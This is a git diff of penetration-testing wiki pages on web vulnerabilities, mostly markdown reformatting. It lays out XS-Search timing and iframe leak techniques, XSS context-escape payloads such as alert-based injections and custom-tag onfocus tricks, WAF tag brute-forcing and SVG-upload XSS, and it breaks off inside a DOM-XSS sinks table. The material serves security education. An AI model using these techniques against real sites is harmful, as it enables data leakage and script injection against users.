Smuggling**](http-request-smuggling.md)\*\*\*\* -* [ ] \*\*\*\*[**H2C Smuggling**](h2c-smuggling.md)\*\*\*\* -* [ ] \*\*\*\*[**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**Uncovering Cloudflare**](../pentesting/pentesting-web/uncovering-cloudflare.md)\*\*\*\* -* [ ] \*\*\*\*[**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)\*\*\*\* +* [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)**** +* [ ] ****[**Cache Poisoning/Cache Deception**](cache-deception.md)**** +* [ ] ****[**HTTP Request Smuggling**](http-request-smuggling.md)**** +* [ ] ****[**H2C Smuggling**](h2c-smuggling.md)**** +* [ ] ****[**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)**** +* [ ] ****[**Uncovering Cloudflare**](../pentesting/pentesting-web/uncovering-cloudflare.md)**** +* [ ] ****[**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)**** ## **User input** {% hint style="info" %} - Most of the web applications will **allow users to input some data that will be processed later.** -Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. + Most of the web applications will **allow users to input some data that will be processed later.**\ +****Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. {% endhint %} ### **Reflected Values** If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues. -* [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)\*\*\*\* -* [ ] \*\*\*\*[**Command Injection**](command-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**CRLF**](crlf-0d-0a.md)\*\*\*\* -* [ ] \*\*\*\*[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)\*\*\*\* -* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)\*\*\*\* -* [ ] [**Open Redirect**](open-redirect.md)\*\*\*\* -* [ ] \*\*\*\*[**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)\*\*\*\* -* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)\*\*\*\* -* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery.md)\*\*\*\* -* [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)\*\*\*\* -* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)\*\*\*\* -* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)\*\*\*\* -* [ ] [**XSS**](xss-cross-site-scripting/)\*\*\*\* -* [ ] \*\*\*\*[**XSSI**](xssi-cross-site-script-inclusion.md)\*\*\*\* -* [ ] \*\*\*\*[**XS-Search**](xs-search.md)\*\*\*\* +* [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)**** +* [ ] ****[**Command Injection**](command-injection.md)**** +* [ ] ****[**CRLF**](crlf-0d-0a.md)**** +* [ ] ****[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)**** +* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)**** +* [ ] [**Open Redirect**](open-redirect.md)**** +* [ ] ****[**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)**** +* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)**** +* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery.md)**** +* [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)**** +* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)**** +* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)**** +* [ ] [**XSS**](xss-cross-site-scripting/)**** +* [ ] ****[**XSSI**](xssi-cross-site-script-inclusion.md)**** +* [ ] ****[**XS-Search**](xs-search.md)**** Some of the mentioned vulnerabilities requires special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in: -{% page-ref page="pocs-and-polygloths-cheatsheet/" %} +{% content-ref url="pocs-and-polygloths-cheatsheet/" %} +[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) +{% endcontent-ref %} ### **Search functionalities** -If the functionality may be used to search some kind of data inside the backend, maybe you can \(ab\)use it to search arbitrary data. +If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data. -* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)\*\*\*\* -* [ ] \*\*\*\*[**NoSQL Injection**](nosql-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**LDAP Injection**](ldap-injection.md)\*\*\*\* +* [ ] [**File Inclusion/Path Traversal**](file-inclusion/)**** +* [ ] ****[**NoSQL Injection**](nosql-injection.md)**** +* [ ] ****[**LDAP Injection**](ldap-injection.md)**** * [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md) -* [ ] [**SQL Injection**](sql-injection/)\*\*\*\* -* [ ] [**XAPTH Injection**](xpath-injection.md)\*\*\*\* +* [ ] [**SQL Injection**](sql-injection/)**** +* [ ] [**XAPTH Injection**](xpath-injection.md)**** ### **Forms, WebSockets and PostMsgs** When websocket, post message or a form allows user to perform actions vulnerabilities may arise. -* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)\*\*\*\* -* [ ] [**Cross-site WebSocket hijacking \(CSWSH\)**](cross-site-websocket-hijacking-cswsh.md)\*\*\*\* -* [ ] \*\*\*\*[**PostMessage Vulnerabilities**](postmessage-vulnerabilities.md)\*\*\*\* +* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)**** +* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](cross-site-websocket-hijacking-cswsh.md)**** +* [ ] ****[**PostMessage Vulnerabilities**](postmessage-vulnerabilities.md)**** ### **HTTP Headers** Depending on the HTTP headers given by the web server some vulnerabilities might be present. -* [ ] [**Clickjacking**](clickjacking.md)\*\*\*\* -* [ ] \*\*\*\*[**Content Security Policy bypass**](content-security-policy-csp-bypass.md)\*\*\*\* -* [ ] \*\*\*\*[**Cookies Hacking**](hacking-with-cookies.md)\*\*\*\* -* [ ] \*\*\*\*[**CORS - Misconfigurations & Bypass**](cors-bypass.md)\*\*\*\* +* [ ] [**Clickjacking**](clickjacking.md)**** +* [ ] ****[**Content Security Policy bypass**](content-security-policy-csp-bypass.md)**** +* [ ] ****[**Cookies Hacking**](hacking-with-cookies.md)**** +* [ ] ****[**CORS - Misconfigurations & Bypass**](cors-bypass.md)**** ### **Bypasses** There are several specific functionalities were some workarounds might be useful to bypass them -* [ ] \*\*\*\*[**2FA/OPT Bypass**](2fa-bypass.md)\*\*\*\* -* [ ] \*\*\*\*[**Bypass Payment Process**](bypass-payment-process.md)\*\*\*\* -* [ ] \*\*\*\*[**Captcha Bypass**](captcha-bypass.md)\*\*\*\* -* [ ] \*\*\*\*[**Login Bypass**](login-bypass/)\*\*\*\* -* [ ] \*\*\*\*[**Race Condition**](race-condition.md)\*\*\*\* -* [ ] \*\*\*\*[**Rate Limit Bypass**](rate-limit-bypass.md)\*\*\*\* -* [ ] \*\*\*\*[**Reset Forgotten Password Bypass**](reset-password.md)\*\*\*\* -* [ ] \*\*\*\*[**Registration Vulnerabilities**](registration-vulnerabilities.md)\*\*\*\* +* [ ] ****[**2FA/OPT Bypass**](2fa-bypass.md)**** +* [ ] ****[**Bypass Payment Process**](bypass-payment-process.md)**** +* [ ] ****[**Captcha Bypass**](captcha-bypass.md)**** +* [ ] ****[**Login Bypass**](login-bypass/)**** +* [ ] ****[**Race Condition**](race-condition.md)**** +* [ ] ****[**Rate Limit Bypass**](rate-limit-bypass.md)**** +* [ ] ****[**Reset Forgotten Password Bypass**](reset-password.md)**** +* [ ] ****[**Registration Vulnerabilities**](registration-vulnerabilities.md)**** ### **Structured objects / Specific functionalities** -Some functionalities will require the **data to be structured on a very specific format** \(like a language serialized object or a XML\). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data. -Some **specific functionalities** my be also vulnerable if a **specific format of the input is used** \(like Email Header Injections\). +Some functionalities will require the **data to be structured on a very specific format** (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data.\ +Some** specific functionalities** my be also vulnerable if a **specific format of the input is used** (like Email Header Injections). -* [ ] \*\*\*\*[**Deserialization**](deserialization/)\*\*\*\* -* [ ] \*\*\*\*[**Email Header Injection**](email-header-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)\*\*\*\* -* [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)\*\*\*\* +* [ ] ****[**Deserialization**](deserialization/)**** +* [ ] ****[**Email Header Injection**](email-header-injection.md)**** +* [ ] ****[**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)**** +* [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)**** ### Files -Functionalities that allow to upload files might be vulnerable to several issues. -Functionalities that generates files including user input might execute unexpected code. +Functionalities that allow to upload files might be vulnerable to several issues.\ +Functionalities that generates files including user input might execute unexpected code.\ Users that open files uploaded by users or automatically generated including user input might be compromised. -* [ ] [**File Upload**](file-upload/)\*\*\*\* -* [ ] \*\*\*\*[**Formula Injection**](formula-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)\*\*\*\* -* [ ] \*\*\*\*[**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\* +* [ ] [**File Upload**](file-upload/)**** +* [ ] ****[**Formula Injection**](formula-injection.md)**** +* [ ] ****[**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)**** +* [ ] ****[**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**** ### **External Identity Management** -* [ ] \*\*\*\*[**OAUTH to Account takeover**](oauth-to-account-takeover.md)\*\*\*\* -* [ ] \*\*\*\*[**SAML Attacks**](saml-attacks/)\*\*\*\* +* [ ] ****[**OAUTH to Account takeover**](oauth-to-account-takeover.md)**** +* [ ] ****[**SAML Attacks**](saml-attacks/)**** ### **Other Helpful Vulnerabilities** This vulnerabilities might help to exploit other vulnerabilities. -* [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)\*\*\*\* -* [ ] \*\*\*\*[**IDOR**](idor.md)\*\*\*\* -* [ ] [**Parameter Pollution**](parameter-pollution.md)\*\*\*\* -* [ ] \*\*\*\*[**Unicode Normalization vulnerability**](unicode-normalization-vulnerability.md)\*\*\*\* - +* [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)**** +* [ ] ****[**IDOR**](idor.md)**** +* [ ] [**Parameter Pollution**](parameter-pollution.md)**** +* [ ] ****[**Unicode Normalization vulnerability**](unicode-normalization-vulnerability.md)**** diff --git a/pentesting-web/xs-search.md b/pentesting-web/xs-search.md index 2bfb75ba..7129113f 100644 --- a/pentesting-web/xs-search.md +++ b/pentesting-web/xs-search.md @@ -1,88 +1,88 @@ # XS-Search -**The best resource to learn XS-Search is** [**https://xsleaks.dev/**](https://xsleaks.dev/) +**The best resource to learn XS-Search is **[**https://xsleaks.dev/**](https://xsleaks.dev) ## XS-Search Time attack -Basically, you exploit a **CSRF vulnerability** to make a specific user access some **information** that the **victim can access** but you can't. Then, you **check** the **time** it take the request to be responded and depending on that you can know if the content was correctly accessed or not. +Basically, you exploit a **CSRF vulnerability **to make a specific user access some **information **that the **victim can access** but you can't. Then, you **check **the **time **it take the request to be responded and depending on that you can know if the content was correctly accessed or not. -For example, imagine that the **admin of a web** page can **access all** the inside the **webfiles** service and **you only** can access **yours**, and you want to know the **content** of a **file** that starts with the string "_**flag**_". +For example, imagine that the **admin of a web** page can **access all **the inside the **webfiles **service and **you only **can access **yours**, and you want to know the **content **of a **file **that starts with the string "_**flag**_". -There is a **CSRF** vulnerability in the **seach by content** function and you can make the **admin visit any page**. Then, you could make the admin visit a malicious web server \(yours\) that will **exploit** the **CSRF** and will make the victim **search for** the file that starts with "_**flag**_". The attacker will make a **loop** so it will make the victim **search for every possibility** in: _flagX_. Then, if a character took **more time** that the rest, you can **asume** that it was the **correct** one and you can start a **new loop** with "_flag{X_" until you get the flag. +There is a **CSRF **vulnerability in the **seach by content** function and you can make the **admin visit any page**. Then, you could make the admin visit a malicious web server (yours) that will **exploit **the **CSRF **and will make the victim **search for **the file that starts with "_**flag**_". The attacker will make a **loop **so it will make the victim **search for every possibility** in: _flagX_. Then, if a character took **more time **that the rest, you can **asume **that it was the **correct **one and you can start a **new loop** with "_flag{X_" until you get the flag. -That is the **idea** but in the **real world** you need queries that retrive content take **much more time** that the queries that doesn't return anything. +That is the **idea **but in the **real world **you need queries that retrive content take **much more time** that the queries that doesn't return anything. For more information you can read: * [https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549) -* [https://www.researchgate.net/publication/280738245\_Cross-Site\_Search\_Attacks](https://www.researchgate.net/publication/280738245_Cross-Site_Search_Attacks) +* [https://www.researchgate.net/publication/280738245\_Cross-Site_Search_Attacks](https://www.researchgate.net/publication/280738245\_Cross-Site_Search_Attacks) ## XS-Search - Iframe -Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**. +Suppose that you can **insert **the **page **that has the **secret **content** inside an Iframe**. -You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** \(exploiting a CSRF like in the prevous situation\). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL. +You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF like in the prevous situation). Inside the Iframe you know that the _**onload event **_will be **executed always at least once**. Then, you can **change **the **URL **of the **iframe **but changing only the **content **of the **hash **inside the URL. For example: -1. **URL1**: www.attacker.com/xssearch\#try1 -2. **URL2**: www.attacker.com/xssearch\#try2 +1. **URL1**: www.attacker.com/xssearch#try1 +2. **URL2**: www.attacker.com/xssearch#try2 -If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**. +If the first URL was **successfully loaded**, then, when **changing **the **hash **part of the URL the **onload **event **won't be triggered** again. But **if **the page had some kind of **error **when **loading**, then, the **onload **event will be **triggered again**. -Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed. +Then, you can **distinguish between **a **correctly **loaded page or page that has an **error **when is accessed. If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time. ### Iframe Chrome XSS Auditor -Imagine the **same situation as in the Timing attack method** and you also know that the **admin** is using a **Chrome browser** \(for example, Chrome-headless\) **with Chrome XSS Auditor.** +Imagine the **same situation as in the Timing attack method **and you also know that the **admin **is using a **Chrome browser** (for example, Chrome-headless) **with Chrome XSS Auditor.** -Then, you can use **iframes** to make the victim **search** for the page containing "_**flagX**_" \(beeing X **any** possible **character**\)inside a loop, and you also add to the URL inside the iframes a **fake parameter** that **contains javascript code that will only appear when a valid content is retrived**. +Then, you can use **iframes **to make the victim **search **for the page containing "_**flagX**_" (beeing X **any **possible **character**)inside a loop, and you also add to the URL inside the iframes a **fake parameter **that **contains javascript code that will only appear when a valid content is retrived**. -For example, if when you **search for** the **content** _**"my file"**_ the web server responds with a page that **includes** this **javascript** code: +For example, if when you **search for **the **content**_** "my file"**_ the web server responds with a page that **includes **this **javascript **code: -```text +``` ``` If you send a query like: -```text +``` www.victim.com/search?q=my+file&fake_xss=`** tags of a HTML page, inside a **`.js`**file or inside an attribute using **`javascript:`** protocol: * If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. -* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code \(if there is any error, it won't be executed: +* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` -* If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: ```var greetings =``Hello, ${alert\(1\)}\`\`\` +* If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: `` `var greetings = ``Hello, ${alert(1)}\`\`\` ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. -{% page-ref page="dom-xss.md" %} +{% content-ref url="dom-xss.md" %} +[dom-xss.md](dom-xss.md) +{% endcontent-ref %} ### **Universal XSS** -These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more. +These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ Some **examples**: -{% page-ref page="server-side-xss-dynamic-pdf.md" %} +{% content-ref url="server-side-xss-dynamic-pdf.md" %} +[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) +{% endcontent-ref %} -{% page-ref page="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md" %} +{% content-ref url="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md" %} +[xss-to-rce-electron-desktop-apps.md](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md) +{% endcontent-ref %} ## WAF bypass encoding image -![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) +![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/EauBb2EX0AERaNK.jpg) ## Injecting inside raw HTML -When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**. -For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.** -_**Note: A HTML comment can be closed using `-->` or `--!>`**_ +When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ +For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Note: A HTML comment can be closed using ****`-->`**** or ****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: @@ -95,18 +101,18 @@ In this case and if no black/whitelisting is used, you could use payloads like: ``` -But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create. +But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. ### Tags/Events brute-force -Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags \(in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before\). +Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). ### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: -```text +``` /?search=#x ``` @@ -164,9 +170,9 @@ onerror=alert`1` < @@ -881,7 +891,7 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com/) ### Brute-Force List -{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/xss.txt" %} +{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} ## XSS Abusing other vulnerabilities @@ -893,23 +903,27 @@ Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through ``` -Use it to bypass cookie restrictions, XSS filters and much more! +Use it to bypass cookie restrictions, XSS filters and much more!\ More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). ### XSS in dynamic created PDF -If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**. +If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\ So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**. -{% page-ref page="server-side-xss-dynamic-pdf.md" %} +{% content-ref url="server-side-xss-dynamic-pdf.md" %} +[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) +{% endcontent-ref %} -If you cannot inject HTML tags it could be worth it to try to **inject PDF data**: +If you cannot inject HTML tags it could be worth it to try to** inject PDF data**: -{% page-ref page="pdf-injection.md" %} +{% content-ref url="pdf-injection.md" %} +[pdf-injection.md](pdf-injection.md) +{% endcontent-ref %} -### XSS uploading files \(svg\) +### XSS uploading files (svg) -Upload as an image a file like the following one \(from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)\): +Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```markup Content-Type: multipart/form-data; boundary=---------------------------232181429808 @@ -1035,8 +1049,8 @@ More info: ## XSS resources -[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) -[http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) +[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)\ +[http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)\ [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) ### XSS TOOLS @@ -1053,15 +1067,15 @@ Find some [**tools for XSS here**](xss-tools.md)**.** The decrement operator `--` is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **remove the content of variables from the environment**. -![](../../.gitbook/assets/image%20%28556%29.png) +![](<../../.gitbook/assets/image (553).png>) -![](../../.gitbook/assets/image%20%28555%29.png) +![](<../../.gitbook/assets/image (554).png>) ### Arrow functions -Arrow functions allow you to generate functions in a sigle line more easily \(if you understand them\) +Arrow functions allow you to generate functions in a sigle line more easily (if you understand them) ```javascript // Traditional @@ -1098,7 +1112,7 @@ plusone = a => a + 100; ### Bind function -The bind function allow to create a **copy** of a **function modifying** the **`this`** object and the **parameters** given. +The bind function allow to create a **copy **of a **function modifying **the **`this`** object and the **parameters **given. ```javascript //This will use the this object and print "Hello World" @@ -1142,14 +1156,14 @@ console.log(this.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function ``` -In cases where the **function doesn't have any name**, you can still print the **function code** from within: +In cases where the **function doesn't have any name**, you can still print the** function code** from within: ```javascript (function (){ return arguments.callee.toString(); })() (function (){ return arguments[0]; })("arg0") ``` -Some **random** ways to **extract the code** of a function \(even comments\) from another function: +Some **random **ways to **extract the code** of a function (even comments) from another function: ```javascript (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() @@ -1200,4 +1214,3 @@ async function sleep(ms) { await browser.close(); })(); ``` - diff --git a/pentesting-web/xss-cross-site-scripting/dom-xss.md b/pentesting-web/xss-cross-site-scripting/dom-xss.md index 40853dab..dd7188d5 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -4,7 +4,7 @@ > **Sources** > -> A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the `location.search` property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL \(exposed by the `document.referrer` string\), the user's cookies \(exposed by the `document.cookie` string\), and web messages. +> A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the `location.search` property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the `document.referrer` string), the user's cookies (exposed by the `document.cookie` string), and web messages. > **Sinks** > @@ -13,7 +13,7 @@ Fundamentally, DOM-based vulnerabilities arise when a website **passes data from a source to a sink**, which then handles the data in an unsafe way in the context of the client's session. {% hint style="info" %} -**You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)\*\*\*\* +**You can find a more updated list of sources and sinks in **[**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)**** {% endhint %} **Common sources:** @@ -37,41 +37,41 @@ Database **Common Sinks:** -| \*\*\*\*[**Open Redirect**](dom-xss.md#open-redirect)\*\*\*\* | [**Javascript Injection**](dom-xss.md#javascript-injection)\*\*\*\* | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation)\*\*\*\* | **jQuery** | -| :--- | :--- | :--- | :--- | -| `location` | `eval()` | `scriptElement.src` | `add()` | -| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | -| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` | -| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` | -| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` | -| `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` | -| `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` | -| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | -| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | -| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | -| `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation)\*\*\*\* | `someDOMElement.value` | `replaceWith()` | -| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | -| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | -| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | -| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | -| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation)\*\*\*\* | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | -| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | -| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | -| `XMLHttpRequest.send()` | \*\*\*\*[**Link manipulation**](dom-xss.md#link-manipulation)\*\*\*\* | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | -| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | -| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | \*\*\*\*[**Client-side JSON injection**](dom-xss.md#client-side-sql-injection)\*\*\*\* | -| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation)\*\*\*\* | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | -| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection)\*\*\*\* | `document.write()` | `jQuery.parseJSON()` | -| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | -| **\`\`**[**`Denial of Service`**](dom-xss.md#denial-of-service)**\`\`** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation)\*\*\*\* | -| `requestFileSystem()` | **\`\`**[**Document-domain 